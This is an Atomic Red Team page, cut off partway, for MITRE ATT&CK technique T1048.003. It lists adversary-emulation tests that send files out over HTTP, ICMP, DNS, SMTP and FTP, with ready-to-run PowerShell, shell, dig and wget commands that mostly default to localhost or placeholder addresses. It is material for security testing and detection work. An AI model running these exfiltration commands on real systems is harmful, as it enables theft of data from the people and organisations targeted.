# T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

## Description from ATT&CK

> Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)
> 
> Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

[Source](https://attack.mitre.org/techniques/T1048/003)

## Atomic Tests

- [Atomic Test #1: Exfiltration Over Alternative Protocol - HTTP](#atomic-test-1-exfiltration-over-alternative-protocol---http)
- [Atomic Test #2: Exfiltration Over Alternative Protocol - ICMP](#atomic-test-2-exfiltration-over-alternative-protocol---icmp)
- [Atomic Test #3: Exfiltration Over Alternative Protocol - DNS](#atomic-test-3-exfiltration-over-alternative-protocol---dns)
- [Atomic Test #4: Exfiltration Over Alternative Protocol - HTTP](#atomic-test-4-exfiltration-over-alternative-protocol---http)
- [Atomic Test #5: Exfiltration Over Alternative Protocol - SMTP](#atomic-test-5-exfiltration-over-alternative-protocol---smtp)
- [Atomic Test #6: MAZE FTP Upload](#atomic-test-6-maze-ftp-upload)
- [Atomic Test #7: Exfiltration Over Alternative Protocol - FTP - Rclone](#atomic-test-7-exfiltration-over-alternative-protocol---ftp---rclone)
- [Atomic Test #8: Python3 http.server](#atomic-test-8-python3-httpserver)

### Atomic Test #1: Exfiltration Over Alternative Protocol - HTTP

A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337.

Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.

**Supported Platforms:** macOS, Linux

**auto_generated_guid:** `1d1abbd6-a3d3-4b2e-bef5-c59293f46eff`

#### Attack Commands: Run it with these steps! 
1. Victim System Configuration:

    mkdir /tmp/victim-staging-area
    echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt

2. Using Python to establish a one-line HTTP server on victim system:

    cd /tmp/victim-staging-area
    python -m SimpleHTTPServer 1337

3. To retrieve the data from an adversary system:

    wget http://VICTIM_IP:1337/victim-file.txt


### Atomic Test #2: Exfiltration Over Alternative Protocol - ICMP

Exfiltration of specified file over ICMP protocol.

Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.

**Supported Platforms:** Windows

**auto_generated_guid:** `dd4b4421-2e25-4593-90ae-7021947ad12e`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Path to file to be exfiltrated. | path | C:&#92;Windows&#92;System32&#92;notepad.exe|
| ip_address | Destination IP address where the data should be sent. | string | 127.0.0.1|

#### Attack Commands: Run with `powershell`!

```powershell
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }
```

### Atomic Test #3: Exfiltration Over Alternative Protocol - DNS

Exfiltration of specified file over DNS protocol.

**Supported Platforms:** Linux

**auto_generated_guid:** `c403b5a4-b5fc-49f2-b181-d1c80d27db45`

#### Attack Commands: Run it with these steps! 
1. On the adversary machine run the below command.

    tshark -f "udp port 53" -Y "dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches \\".domain\\"" >> received_data.txt

2. On the victim machine run the below commands.

    xxd -p input_file > encoded_data.hex | for data in `cat encoded_data.hex`; do dig $data.domain; done

3. Once the data is received, use the below command to recover the data.

    cat output_file | cut -d "A" -f 2 | cut -d " " -f 2 | cut -d "." -f 1 | sort | uniq | xxd -p -r


### Atomic Test #4: Exfiltration Over Alternative Protocol - HTTP

Exfiltration of specified file over HTTP.
Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.

**Supported Platforms:** Windows

**auto_generated_guid:** `6aa58451-1121-4490-a8e9-1dada3f1c68c`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Path to file to exfiltrate | path | C:&#92;Windows&#92;System32&#92;notepad.exe|
| ip_address | Destination IP address where the data should be sent | string | http://127.0.0.1|

#### Attack Commands: Run with `powershell`!

```powershell
$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
```

### Atomic Test #5: Exfiltration Over Alternative Protocol - SMTP

Exfiltration of specified file over SMTP.
Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.

**Supported Platforms:** Windows

**auto_generated_guid:** `ec3a835e-adca-4c7c-88d2-853b69c11bb9`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Path to file to exfiltrate | path | C:&#92;Windows&#92;System32&#92;notepad.exe|
| sender | The email address of the sender | string | test@corp.com|
| receiver | The email address of the receiver | string | test@corp.com|
| smtp_server | SMTP server to use for email transportation | string | 127.0.0.1|

#### Attack Commands: Run with `powershell`!

```powershell
Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}
```

### Atomic Test #6: MAZE FTP Upload

This test simulates MAZE's ransomware's ability to exfiltrate data via FTP.
Upon successful execution, all 7z files within the %windir%\temp directory will be uploaded to a remote FTP server. 
Reference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents

**Supported Platforms:** Windows

**auto_generated_guid:** `57799bc2-ad1e-4130-a793-fb0c385130ba`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| ftp_server | FTP Server address | string | 127.0.0.1|
| username | Username for FTP server login | string | |
| password | Password for FTP server login | string | |

#### Attack Commands: Run with `powershell`!

```powershell
$Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://